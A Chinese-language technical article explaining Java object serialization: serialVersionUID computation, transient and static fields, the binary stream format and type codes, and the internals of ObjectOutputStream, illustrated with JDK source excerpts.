Java 的序列化(Serialization)和反序列化(Deserialization)是将对象的状态转换为字节流并恢复的过程。这个过程使对象可以保存到文件、通过网络传输或保存到数据库中,并在稍后恢复成对象。
序列化(Serialization) :将 Java 对象的状态转换为字节流的过程。这使得对象可以保存到文件、发送到其他 JVM 甚至通过网络传输。
反序列化(Deserialization) :将字节流转换回 Java 对象的过程。这允许恢复先前序列化的对象状态。
序列化基础 基本用法 序列化对象 使用 ObjectOutputStream 将对象写入(writeObject 方法)到输出流(如文件输出流)。
1 2 3 4 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream ();ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream);objectOutputStream.writeObject(object); byte [] data = byteArrayOutputStream.toByteArray()
反序列化对象 使用 ObjectInputStream 从输入流(如文件输入流)读取(readObject 方法)对象。
1 2 3 ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (data);ObjectInputStream objectInputStream = new ObjectInputStream (byteArrayInputStream);Object object = objectInputStream.readObject();
序列化接口 Serializable 要使 Java 对象可序列化,类必须实现 java.io.Serializable 接口。这个接口是一个标记接口(没有方法),它表明该类的对象可以被序列化 。
1 2 3 4 5 6 7 8 9 import java.io.Serializable;public class Person implements Serializable { private static final long serialVersionUID = 1L ; private String name; private int age; }
序列化对象时,会递归地序列化其引用的所有对象。因此,引用对象也必须是可序列化的,否则会抛出 NotSerializableException。
在实现 Serializable 接口上,如果实现 writeObject 和 readObject 方法,可以自定义序列化和反序列化的行为。通常精心构造的序列化对象和 readObject 的自定义操作结合就可以造成反序列化漏洞。
1 2 3 4 5 6 7 8 9 private void writeObject (ObjectOutputStream out) throws IOException { out.defaultWriteObject(); } private void readObject (ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); }
defaultWriteObject() 的作用是让 JVM 自动 把“非 transient、非 static、且在 serialPersistentFields(若定义)里的字段”写进流;对应地,defaultReadObject() 自动按同一布局读回。
有些类采用的是“完全自定义序列化” ,即不调用 defaultWriteObject() 和 defaultReadObject(),整个 writeObject 和 readObject 的逻辑完全由自己实现。这样的话序列化时默认字段不会被自动写出 ;写什么、以什么顺序、什么替代形式,全由类自己控制。
Externalizable Externalizable 是 Serializable 的子接口,它强制实现 writeExternal 和 readExternal 方法,提供完全控制序列化过程的能力。这对性能优化或定制序列化格式非常有用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import java.io.Externalizable;import java.io.IOException;import java.io.ObjectInput;import java.io.ObjectOutput;public class Person implements Externalizable { private String name; private int age; public Person () {} public Person (String name, int age) { this .name = name; this .age = age; } @Override public void writeExternal (ObjectOutput out) throws IOException { out.writeObject(name); out.writeInt(age); } @Override public void readExternal (ObjectInput in) throws IOException, ClassNotFoundException { name = (String) in.readObject(); age = in.readInt(); } }
序列化相关属性 serialVersionUID 每个可序列化类建议定义一个 serialVersionUID 字段,用于版本控制。不同的 serialVersionUID 表示类的不同版本,如果序列化和反序列化的版本不匹配会抛出 InvalidClassException。
类中声明 SerialVersionUID 如果在反序列化的类中显式声明了 serialVersionUID(修饰符同时包含 static 和 final 且字段类型为 long):
1 private static final long serialVersionUID = 1L ;
每个可序列化的类都有“自己的” ObjectStreamClass(类描述符)对象,在 ObjectStreamClass 构造初始化 时有如下调用栈:
1 2 3 4 5 6 7 8 9 10 at java.io.ObjectStreamClass.getDeclaredSUID(ObjectStreamClass.java:1857) at java.io.ObjectStreamClass.access$700(ObjectStreamClass.java:79) at java.io.ObjectStreamClass$3.run(ObjectStreamClass.java:506) at java.io.ObjectStreamClass$3.run(ObjectStreamClass.java:494) at java.security.AccessController.doPrivileged(AccessController.java:-1) at java.io.ObjectStreamClass.<init>(ObjectStreamClass.java:494) at java.io.ObjectStreamClass.lookup(ObjectStreamClass.java:391) at java.io.ObjectOutputStream.writeObject0(ObjectOutputStream.java:1134) at java.io.ObjectOutputStream.writeObject(ObjectOutputStream.java:348) at Main.main(Main.java:56)
其中 getDeclaredSUID 函数会尝试获取类中声明的 serialVersionUID。
因为 ObjectStreamClass 就是“序列化里用的类描述符” 。序列化/反序列化要先拿到这个“类描述符”,在构建(初始化)它的时候就把所有元数据一次性确定并缓存 ——包括到底用显式声明的 serialVersionUID,还是 回退计算默认 SUID 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 private static Long getDeclaredSUID (Class<?> cl) { try { Field f = cl.getDeclaredField("serialVersionUID" ); int mask = Modifier.STATIC | Modifier.FINAL; if ((f.getModifiers() & mask) == mask) { f.setAccessible(true ); return Long.valueOf(f.getLong(null )); } } catch (Exception ex) { } return null ; }
动态计算 SerialVersionUID 对于第二种情况,调用 ObjectOutputStream#writeObject(o) 后有如下调用栈:
1 2 3 4 5 6 7 8 9 at java.io.ObjectStreamClass.getSerialVersionUID(ObjectStreamClass.java:271) at java.io.ObjectStreamClass.writeNonProxy(ObjectStreamClass.java:819) at java.io.ObjectOutputStream.writeClassDescriptor(ObjectOutputStream.java:668) at java.io.ObjectOutputStream.writeNonProxyDesc(ObjectOutputStream.java:1282) at java.io.ObjectOutputStream.writeClassDesc(ObjectOutputStream.java:1231) at java.io.ObjectOutputStream.writeOrdinaryObject(ObjectOutputStream.java:1427) at java.io.ObjectOutputStream.writeObject0(ObjectOutputStream.java:1178) at java.io.ObjectOutputStream.writeObject(ObjectOutputStream.java:348) at Main.main(Main.java:56)
其中 writeNonProxy 会通过 getSerialVersionUID 函数获取类的 serialVersionUID 值写入序列化数据:
1 2 3 4 5 6 7 8 9 void writeNonProxy (ObjectOutputStream out) throws IOException { out.writeUTF(name); out.writeLong(getSerialVersionUID()); }
getSerialVersionUID 会判断 suid 属性是否为空,如果 suid 为空说明前期创建当前类对应的 ObjectStreamClass 时没有获取到类定义的 serialVersionUID 的值,那么此时会调用 computeDefaultSUID 计算一个值返回。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public long getSerialVersionUID () { if (suid == null ) { suid = AccessController.doPrivileged( new PrivilegedAction <Long>() { public Long run () { return computeDefaultSUID(cl); } } ); } return suid.longValue(); }
computeDefaultSUID 的计算输入包含:类名、修饰符、(非数组类的)接口名(排序)、字段(筛选后按名排序)、是否有 <clinit>、非私有构造器(按签名排序)、非私有方法(按名与签名排序) ;最终对字节做 SHA-1 ,取前 8 字节组装成 long。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 private static long computeDefaultSUID (Class<?> cl) { if (!Serializable.class.isAssignableFrom(cl) || Proxy.isProxyClass(cl)) { return 0L ; } try { ByteArrayOutputStream bout = new ByteArrayOutputStream (); DataOutputStream dout = new DataOutputStream (bout); dout.writeUTF(cl.getName()); int classMods = cl.getModifiers() & (Modifier.PUBLIC | Modifier.FINAL | Modifier.INTERFACE | Modifier.ABSTRACT); Method[] methods = cl.getDeclaredMethods(); if ((classMods & Modifier.INTERFACE) != 0 ) { classMods = (methods.length > 0 ) ? (classMods | Modifier.ABSTRACT) : (classMods & ~Modifier.ABSTRACT); } dout.writeInt(classMods); if (!cl.isArray()) { Class<?>[] interfaces = cl.getInterfaces(); String[] ifaceNames = new String [interfaces.length]; for (int i = 0 ; i < interfaces.length; i++) { ifaceNames[i] = interfaces[i].getName(); } Arrays.sort(ifaceNames); for (int i = 0 ; i < ifaceNames.length; i++) { dout.writeUTF(ifaceNames[i]); } } Field[] fields = cl.getDeclaredFields(); MemberSignature[] fieldSigs = new MemberSignature [fields.length]; for (int i = 0 ; i < fields.length; i++) { fieldSigs[i] = new MemberSignature (fields[i]); } Arrays.sort(fieldSigs, new Comparator <MemberSignature>() { public int compare (MemberSignature ms1, MemberSignature ms2) { return ms1.name.compareTo(ms2.name); } }); for (int i = 0 ; i < fieldSigs.length; i++) { MemberSignature sig = fieldSigs[i]; int mods = sig.member.getModifiers() & (Modifier.PUBLIC | Modifier.PRIVATE | Modifier.PROTECTED | Modifier.STATIC | Modifier.FINAL | Modifier.VOLATILE | Modifier.TRANSIENT); if (((mods & Modifier.PRIVATE) == 0 ) || ((mods & (Modifier.STATIC | Modifier.TRANSIENT)) == 0 )) { dout.writeUTF(sig.name); dout.writeInt(mods); dout.writeUTF(sig.signature); } } if (hasStaticInitializer(cl)) { dout.writeUTF("<clinit>" ); dout.writeInt(Modifier.STATIC); dout.writeUTF("()V" ); } Constructor<?>[] cons = cl.getDeclaredConstructors(); MemberSignature[] consSigs = new MemberSignature [cons.length]; for (int i = 0 ; i < cons.length; i++) { consSigs[i] = new MemberSignature (cons[i]); } Arrays.sort(consSigs, new Comparator <MemberSignature>() { public int compare (MemberSignature ms1, MemberSignature ms2) { return ms1.signature.compareTo(ms2.signature); } }); for (int i = 0 ; i < consSigs.length; i++) { MemberSignature sig = consSigs[i]; int mods = sig.member.getModifiers() & (Modifier.PUBLIC | Modifier.PRIVATE | Modifier.PROTECTED | Modifier.STATIC | Modifier.FINAL | Modifier.SYNCHRONIZED | Modifier.NATIVE | Modifier.ABSTRACT | Modifier.STRICT); if ((mods & Modifier.PRIVATE) == 0 ) { dout.writeUTF("<init>" ); dout.writeInt(mods); dout.writeUTF(sig.signature.replace('/' , '.' )); } } MemberSignature[] methSigs = new MemberSignature [methods.length]; for (int i = 0 ; i < methods.length; i++) { methSigs[i] = new MemberSignature (methods[i]); } Arrays.sort(methSigs, new Comparator <MemberSignature>() { public int compare (MemberSignature ms1, MemberSignature ms2) { int comp = ms1.name.compareTo(ms2.name); if (comp == 0 ) { comp = ms1.signature.compareTo(ms2.signature); } return comp; } }); for (int i = 0 ; i < methSigs.length; i++) { MemberSignature sig = methSigs[i]; int mods = sig.member.getModifiers() & (Modifier.PUBLIC | Modifier.PRIVATE | Modifier.PROTECTED | Modifier.STATIC | Modifier.FINAL | Modifier.SYNCHRONIZED | Modifier.NATIVE | Modifier.ABSTRACT | Modifier.STRICT); if ((mods & Modifier.PRIVATE) == 0 ) { dout.writeUTF(sig.name); dout.writeInt(mods); dout.writeUTF(sig.signature.replace('/' , '.' )); } } dout.flush(); MessageDigest md = MessageDigest.getInstance("SHA" ); byte [] hashBytes = md.digest(bout.toByteArray()); long hash = 0 ; for (int i = Math.min(hashBytes.length, 8 ) - 1 ; i >= 0 ; i--) { hash = (hash << 8 ) | (hashBytes[i] & 0xFF ); } return hash; } catch (IOException ex) { throw new InternalError (ex); } catch (NoSuchAlgorithmException ex) { throw new SecurityException (ex.getMessage()); } }
我们同样可以反射调用 computeDefaultSUID 来计算指定类的 SerialVersionUID:
1 2 3 4 5 Class<?> clazz = Class.forName("java.io.ObjectStreamClass" ); Method method = clazz.getDeclaredMethod("computeDefaultSUID" , Class.class);method.setAccessible(true ); Object suid = method.invoke(null , MyClass.class);System.out.println(suid);
transient 关键字 transient 是 Java 的字段级关键字 ,表示“此字段不参与默认序列化” 。换句话说:当你用 ObjectOutputStream.writeObject(obj) 序列化一个对象时,标了 transient 的字段会被 defaultWriteObject() 跳过 ;反序列化时,这些字段会被置为默认值 (对象为 null、int 为 0、boolean 为 false 等)。
1 private transient String password;
静态字段 静态字段(static)默认不参与 Java 的对象序列化 。因为序列化的是“对象实例状态” ;static 属于类级别 状态(所有实例共享),不属于某个对象本身。
虽然 static 的值 不序列化,但某些 static 字段(非 private)“名称/修饰符/类型签名” 会参与默认 serialVersionUID 的计算 。改动这类 static 字段的签名或修饰符 可能导致默认 SUID 变化,从而引发兼容性问题 ;但这与“字段值是否被序列化”是两回事。
序列化数据结构 当我们将一个对象(如 new Person(20, "Bob"))进行 Java 原生序列化(ObjectOutputStream),其输出的数据结构是严格遵守 Java Object Serialization Specification 的格式,包含:
顶层流结构(Stream Header)
若干记录(Record),按写入顺序序列化
每个记录前有类型码(type code),表明后续数据的含义
所有对象均带有类描述符、字段值、以及引用句柄机制
1 2 3 4 class Person implements Serializable { int age; String name; }
写入 new Person(20, "Bob") 时的结构(示意):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 AC ED 00 05 // header 73 TC_OBJECT 72 TC_CLASSDESC "com.example.Person" UTF <suid: 8 bytes> long <flags: SC_SERIALIZABLE> byte 00 02 fieldCount = 2 'I' "age" 原始字段 'L' "name" "Ljava/lang/String;" 对象字段 78 TC_ENDBLOCKDATA(类注解块结束,通常为空) 70 TC_NULL(super desc of Object) // classdata for Person(默认字段,无 ENDBLOCKDATA) 00 00 00 14 age = 20 74 TC_STRING "Bob" UTF
可以通过 SerializationDumper 将序列化数据转换成方便阅读的形式:
1 java -jar SerializationDumper-v1.14.jar -r payload.bin
顶层结构 通常序列化数据前面会有一个固定的字段作为魔数,标识这是一段 Java 对象的序列化数据:
1 2 STREAM_MAGIC STREAM_VERSION Record* AC ED 00 05 ...
STREAM_MAGIC :AC ED
STREAM_VERSION :00 05
Record *:后面紧跟一个或多个记录(对象、类描述符、字符串、数组、引用、块数据、异常等),顺序完全由写端决定 。
我们可以通过这个魔数来识别序列化数据,下面是一些常见编码下的特征:
原始序列:AC ED 00 05
Base64:rO0
zip 格式:PK*
zip+base64:UE*
gzip+base64:H4s*
有时候我们也可以通过 HTTP 请求头来确定数据类型是序列化数据,例如:
1 Content-type: application/x-java-serialized-object
类型码 在序列化数据中,一个字段是由类型码开始的。类型码描述当前位置后续数据对应什么类型,Java 反序列化时会根据这个字段决定选择进入什么分支对后续数据进行反序列化。
码值
名称
含义(下一步…)
0x70
TC_NULL
空引用
0x71
TC_REFERENCE
句柄回引:后跟 4 字节句柄(wire handle)
0x72
TC_CLASSDESC
普通类的类描述符
0x73
TC_OBJECT
对象本体
0x74
TC_STRING
短字符串
0x7C
TC_LONGSTRING
长字符串
0x75
TC_ARRAY
数组
0x76
TC_CLASS
java.lang.Class 对象
0x77
TC_BLOCKDATA
块数据(长度 1 字节)
0x7A
TC_BLOCKDATALONG
块数据(长度 4 字节)
0x78
TC_ENDBLOCKDATA
块数据/自定义数据结束
0x79
TC_RESET
句柄表重置
0x7B
TC_EXCEPTION
写端抛出的致命异常对象
0x7D
TC_PROXYCLASSDESC
代理类的类描述符
0x7E
TC_ENUM
枚举常量
句柄(handle) :每个“首次出现”的对象/字符串/数组/类描述符/类对象都会被分配一个句柄。后续重复出现,用 TC_REFERENCE + (base+下标) 回指。
例如:若之后再次 写入同一个 String 实例 "Bob"(同一对象,不是同值新对象),就会出现:
1 71 00 7E 00 03 // TC_REFERENCE + 0x7E0003(示意)
wire handle 计算 :wire = 0x7E0000 + localIndex;读端用 wire - 0x7E0000 找回本地句柄表的下标。
对象类型:TC_OBJECT 在众多类型中,对象类型是最重要的,该类型码后续的结构如下:
1 2 3 TC_OBJECT classDesc // 可以是 TC_CLASSDESC / TC_PROXYCLASSDESC / TC_REFERENCE classdata // 按“父类 → 子类”的层级逐层写
类描述符(Class Descriptor) 普通类:TC_CLASSDESC 1 2 3 4 5 6 7 8 TC_CLASSDESC UTF className long serialVersionUID byte flags // 是否 Serializable / Externalizable / ENUM / 有 writeObject / 是否 block-data 等 short fieldCount [ fieldDesc * fieldCount ] classAnnotations // Block-Data(可选,可能为空),以 TC_ENDBLOCKDATA 结尾 superClassDesc // 父类的类描述符(递归;到 Object 为 TC_NULL)
其中 flags 常量有如下标志位:
标志
值
语义
SC_WRITE_METHOD
0x01
定义了 private void writeObject(ObjectOutputStream)(⇒ 该层有“自定义区”,读完需见 TC_ENDBLOCKDATA)
SC_SERIALIZABLE
0x02
implements Serializable
SC_EXTERNALIZABLE
0x04
implements Externalizable(与上一个互斥)
SC_BLOCK_DATA
0x08
Externalizable 在 v2 协议 下使用块数据包裹
SC_ENUM
0x10
枚举类型(SUID 必须为 0;字段数为 0)
字段描述 fieldDesc 结构为:
1 2 3 byte typeCode // 'B','C','D','F','I','J','S','Z','L','[' UTF fieldName [ UTF typeString ] // 仅当 typeCode 为 'L'(对象) 或 '['(数组) 时存在,形如 "Ljava/lang/String;"、"[I"
是否有 readObject(..) 并不写在描述符里 ;写端仅通过 flags 标出“有 writeObject(..)”(意味着该层会出现自定义 block-data)。读端会反射检测 readObject(..) 并调用。
代理类:TC_PROXYCLASSDESC 1 2 3 4 5 TC_PROXYCLASSDESC int interfaceCount UTF interfaceName[interfaceCount] classAnnotations // Block-Data(可选),以 TC_ENDBLOCKDATA 结尾 superClassDesc
读端会通过 resolveProxyClass(String[]):按规则选 ClassLoader,Class.forName 加载接口,检查非 public 接口的类加载器必须一致 ,最终 Proxy.getProxyClass(loader, ifaces) 生成代理类。
classdata(对象实例数据)classdata 的每一层(某个可序列化类)有两种路径 :
Externalizable (flags 指示):
v2 协议下以 Block-Data 包裹对象的 writeExternal 输出,末尾写 TC_ENDBLOCKDATA;
读端调用 readExternal,读完后用 skipCustomData() 吞掉剩余块直至 TC_ENDBLOCKDATA。
Serializable :
**有 writeObject(..)**:写端进入 Block-Data,由自定义方法写“自定义区”(里面可以调用 defaultWriteObject() 写默认字段,也可以再写对象/块);结束后写 TC_ENDBLOCKDATA。读端进入块模式调用 readObject(..),完了后用 TC_ENDBLOCKDATA 收尾(skipCustomData() 兜底)。
无 writeObject(..): 默认字段 序列化(不包 TC_ENDBLOCKDATA)
先按顺序写所有原始类型字段 的字节;
再写所有对象/数组字段 ,每个字段的值本身是一个“值记录”:TC_NULL / TC_REFERENCE / TC_OBJECT / TC_STRING / TC_ARRAY / …
因为字段个数在类描述符里已知,所以不需要额外结束标记。
序列化过程分析 通常我们通过下面这个过程将对象序列化:
1 2 3 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream ();ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream);objectOutputStream.writeObject(object);
序列化过程如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 new ObjectOutputStream (out) ├─ verifySubclass() ├─ bout = new BlockDataOutputStream (out) ├─ handles = new HandleTable (...), subs = new ReplaceTable (...) ├─ enableOverride = false ├─ writeStreamHeader() → STREAM_MAGIC, STREAM_VERSION └─ bout.setBlockDataMode(true ) writeObject(obj) ├─ if (enableOverride) → writeObjectOverride(obj) → return └─ try → writeObject0(obj, false ) └─ catch (IOException ex) ├─ if (depth==0 ) → writeFatalException(ex) └─ rethrow writeObject0 (obj, unshared) ├─ old = bout.setBlockDataMode(false ) ├─ depth++ ├─ obj = subs.lookup(obj) ├─ 快速分支: │ ├─ obj == null → writeByte(TC_NULL) → finally │ ├─ !unshared && handles.lookup(obj) != -1 │ │ └─ writeByte(TC_REFERENCE) + writeInt(0x7E0000 + handle) → finally │ ├─ obj instanceof Class → writeClass((Class)obj, unshared) → finally │ └─ obj instanceof ObjectStreamClass → writeClassDesc((OSC)obj, unshared) → finally ├─ 替换链: │ ├─ orig = obj │ ├─ while (desc.hasWriteReplace()) obj = desc.invokeWriteReplace(obj) │ ├─ if (enableReplace) obj = replaceObject(obj) │ └─ if (obj != orig) { │ subs.assign(orig, obj) │ │ } ├─ 类型分派: │ ├─ String → writeString(str, unshared) │ ├─ Array → writeArray(arr, desc, unshared) │ ├─ Enum → writeEnum(e, desc, unshared) │ └─ Serializable→ writeOrdinaryObject(obj, desc, unshared) └─ finally ├─ depth-- └─ bout.setBlockDataMode(old) writeOrdinaryObject(obj, desc, unshared) ├─ desc.checkSerialize() ├─ writeByte(TC_OBJECT) ├─ writeClassDesc(desc, false ) │ ├─ if (desc == null ) → writeByte(TC_NULL) │ ├─ else if (handles.lookup(desc) != -1 && 允许共享) │ │ └─ writeByte(TC_REFERENCE) + writeInt(0x7E0000 + handle) │ ├─ else if (desc.isProxy()) │ │ └─ writeProxyDesc(desc, unshared) │ │ ├─ writeByte(TC_PROXYCLASSDESC) │ │ ├─ handles.assign(unshared ? null : desc) │ │ ├─ writeInt(接口数) + 逐个 writeUTF(接口名) │ │ ├─ bout.setBlockDataMode(true ) → annotateProxyClass(...) → setBlockDataMode(false ) │ │ ├─ writeByte(TC_ENDBLOCKDATA) │ │ └─ writeClassDesc(desc.getSuperDesc(), false ) │ └─ else │ └─ writeNonProxyDesc(desc, unshared) │ ├─ writeByte(TC_CLASSDESC) │ ├─ handles.assign(unshared ? null : desc) │ ├─ if (protocol==V1) desc.writeNonProxy(this ) else writeClassDescriptor(desc) │ ├─ bout.setBlockDataMode(true ) → annotateClass(...) → setBlockDataMode(false ) │ ├─ writeByte(TC_ENDBLOCKDATA) │ └─ writeClassDesc(desc.getSuperDesc(), false ) ├─ handles.assign(unshared ? null : obj) └─ if (desc.isExternalizable() && !desc.isProxy()) └─ writeExternalData((Externalizable)obj) ├─ 保存并清空 [curPut, curContext] ├─ if (protocol==V1) obj.writeExternal(this ) ├─ else │ ├─ bout.setBlockDataMode(true ) → obj.writeExternal(this ) │ ├─ bout.setBlockDataMode(false ) │ └─ writeByte(TC_ENDBLOCKDATA) └─ 恢复 [curPut, curContext] else └─ writeSerialData(obj, desc) └─ for (slotDesc : desc.getClassDataLayout()) ├─ if (slotDesc.hasWriteObjectMethod()) │ ├─ 保存并清空 [curPut], 切换 curContext=new SerialCallbackContext (...) │ ├─ bout.setBlockDataMode(true ) → slotDesc.invokeWriteObject(obj, this ) │ ├─ bout.setBlockDataMode(false ) → writeByte(TC_ENDBLOCKDATA) │ └─ 恢复 [curPut, curContext] └─ else └─ defaultWriteFields(obj, slotDesc) ├─ slotDesc.checkDefaultSerialize() ├─ primSize = slotDesc.getPrimDataSize() ├─ primVals = pack primitive 字段字节 ├─ bout.write(primVals, 0 , primSize, false ) └─ 写对象/数组字段: └─ objVals = slotDesc.getObjFieldValues(obj) └─ for (i=0. .) └─ writeObject0(objVals[i], slotDesc.getFields(false )[base+i].isUnshared()) writeString(str, unshared) ├─ handles.assign(unshared ? null : str) ├─ utflen = bout.getUTFLength(str) ├─ if (utflen <= 0xFFFF ) │ └─ writeByte(TC_STRING) → bout.writeUTF(str, utflen) └─ else └─ writeByte(TC_LONGSTRING) → bout.writeLongUTF(str, utflen) writeArray(arr, desc, unshared) ├─ writeByte(TC_ARRAY) ├─ writeClassDesc(desc, false ) ├─ handles.assign(unshared ? null : arr) ├─ writeInt(length) ├─ if (原始类型数组) → 连续写元素原始字节(必要时临时 blk=ON 以聚合) └─ else (对象数组) → for (elem : arr) writeObject0(elem, false ) writeEnum(e, desc, unshared) ├─ writeByte(TC_ENUM) ├─ writeClassDesc(desc, false ) └─ writeString(e.name(), false )
ObjectOutputStream 对象 其中负责序列化的 ObjectOutputStream 是一个实现了 ObjectOutput 接口的 OutputStream 的子类,定义如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 public class ObjectOutputStream extends OutputStream implements ObjectOutput , ObjectStreamConstants { }
块输出流:BlockDataOutputStream bout ObjectOutputStream(OOS)并不直接往你提供的 OutputStream out 写字节,而是把它再包一层成 BlockDataOutputStream bout,所有写入 最终 都流经 bout。
你可以把它想成:OOS 管“组织与语法”(写什么标记、什么时候进入字段区),bout 管“物理出流”(是否包成块、如何加长度头、什么时候冲刷缓冲区)。
BlockDataOutputStream 在数据写入时有两种模式:
结构化标记直写(非块模式) :TC_OBJECT / TC_CLASSDESC / TC_REFERENCE / TC_NULL / TC_ENUM / TC_ARRAY / TC_STRING / TC_LONGSTRING / TC_ENDBLOCKDATA ... 这些协议“标签”需要在非块模式 下逐条写,保证接收端按标记边界解析。此时 bout.writeByte(x) 就是直接把 x 发到下游,不做块封装。
原始字节聚合(块数据模式) :把原始类型(byte/int/long…)或一段“注解/外部化数据”攒成一个块 后一次性写出(TC_BLOCKDATA 或 TC_BLOCKDATALONG + 长度 + 内容),减少碎片化与边界处理的开销。
两种模式是通过 setBlockDataMode 方法进行切换的:
1 boolean old = bout.setBlockDataMode(newMode);
setBlockDataMode 函数实现如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 boolean setBlockDataMode (boolean mode) throws IOException { if (blkmode == mode) { return blkmode; } drain(); blkmode = mode; return !blkmode; } void drain () throws IOException { if (pos == 0 ) { return ; } if (blkmode) { writeBlockHeader(pos); } out.write(buf, 0 , pos); pos = 0 ; }
从 true → false (离开块模式): 先把缓冲里攒的块 全部“冲刷成一个或多个 TC_BLOCKDATA/TC_BLOCKDATALONG ”发出去(这一步叫 drain/flush),然后切到非块模式,接下来就可以安全地写结构化标记(比如 TC_ENDBLOCKDATA、TC_OBJECT 等)。
从 false → true (进入块模式): 简单地把模式置为“攒块”状态;接下来的原始字节会先进入缓冲,必要时再封成块吐出。
OOS 会在不同语义段 之间自动切换,常见场景:
写对象头/类描述/引用/null → 非块模式 这些是结构化标记 ,不能包进块里。
写默认字段(primitive 值)/注解区/Externalizable 数据 → 块模式 这些是原始字节 ,攒成块更高效。
在块模式里突然要写“对象引用类型字段” (比如字段是 String 或其他对象): OOS 会先把当前块 flush 出去 (保持边界清晰),再临时切到非块模式 写 TC_STRING/TC_OBJECT/... 等结构;写完又回到块模式 继续攒后面的原始字节。
对象句柄表:HandleTable handles 对象句柄表维护“对象实例 → 句柄ID (int,下标)”的映射,用于:
共享引用 :同一对象实例在对象图里出现多次时,只首写一次 ,后续都用 TC_REFERENCE 回指,保持别名关系并节省体积。
循环引用 :对象自指或环状结构时,先登记一个“句柄”,再写其内部字段,避免无限递归。
句柄(handle)可以理解为“写端的对象编号 ”。写到线上的编号会再加一个固定偏移(baseWireHandle=0x7E0000)变成“线上句柄ID ”。
对象句柄表主要有下面两个相关函数:
lookup(obj):找句柄ID;无则 -1。
assign(obj):为首次写出的对象分配句柄;
一个对象是否可以被引用取决于 unshared 变量。unshared 来自于 writeObject0 的参数:
1 private void writeObject0 (Object obj, boolean unshared) throws IOException;
具体来说是来自于 writeUnshared(obj):
1 2 3 4 5 6 7 8 9 10 public void writeUnshared (Object obj) throws IOException { try { writeObject0(obj, true ); } catch (IOException ex) { if (depth == 0 ) { writeFatalException(ex); } throw ex; } }
意思是“本次写这个对象,不参与共享。以后就算再遇到同一个实例 ,也不要用 TC_REFERENCE 回指 ,而是当成新对象重写 。”
序列化过程中会针对一个对象是否支持可引用(unshared)进行判断,例如:
1 handles.assign(unshared ? null : cl);
1 2 3 else if (!unshared && (handle = handles.lookup(desc)) != -1 ) { writeHandle(handle); }
对象替换表:ReplaceTable subs 序列化前,JDK 允许对象被“替换 ”成另外一个对象来写出,常见用途:
**类私有 writeReplace()**:类作者用“序列化代理(serialization proxy)”维持不变量。 例:某些集合/包装类把自己替换为更简单稳定的代理对象,避免把内部结构直接写出去。
**全局替换钩子 replaceObject(obj)**:只有 自定义 OOS 子类 显式 enableReplaceObject(true) 后才启用,可用于做统一的过滤、包装、脱敏等。
在对象替换过程中,ReplaceTable 具体负责:
保证替换稳定性与幂等 :同一个“原对象(orig)”只要替换过一次,之后再遇到它 ,都应替换为同一个 “替代对象(rep)”。 否则:第一次遇到 A → 替成 B;第二次遇到 A 又变成 C,就会破坏对象图一致性、干扰共享/回指。
让“替换后的对象”参与后续的句柄共享 与快速路径判断:把 A→B 的映射记录后,再次遇到 A,立即视为 B,因而可能直接命中 handles、写 TC_REFERENCE,或者走 Class/OSC/String/... 特例。
ObjectOutputStream 构造函数 当我们实例化 ObjectOutputStream 并传入参数后,首先调用的是 ObjectOutputStream 的构造方法。
ObjectOutputStream 构造方法有两个,一个是 public 的单参数构造函数,一个是 protected 的无参构造函数。
无参构造函数 无参构造函数定义如下,该函数主要用于当用户完全自定义实现 ObjectOutputStream 的子类时使用。此时由于不使用 JDK 默认实现的数据结构/协议,因此构造函数中对 ObjectOutputStream 自身的数据结构不作初始化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 protected ObjectOutputStream () throws IOException, SecurityException { SecurityManager sm = System.getSecurityManager(); if (sm != null ) { sm.checkPermission(SUBCLASS_IMPLEMENTATION_PERMISSION); } bout = null ; handles = null ; subs = null ; enableOverride = true ; debugInfoStack = null ; }
另外无参构造函数还会设置 enableOverride = true,这表示用户实现的子类完全接管 ObjectOutputStream 的 writeObject 函数,此时子类只需要实现 writeObjectOverride 函数,父类的 writeObject 函数会直接调用。
1 2 3 4 5 6 7 public final void writeObject (Object obj) throws IOException { if (enableOverride) { writeObjectOverride(obj); return ; } }
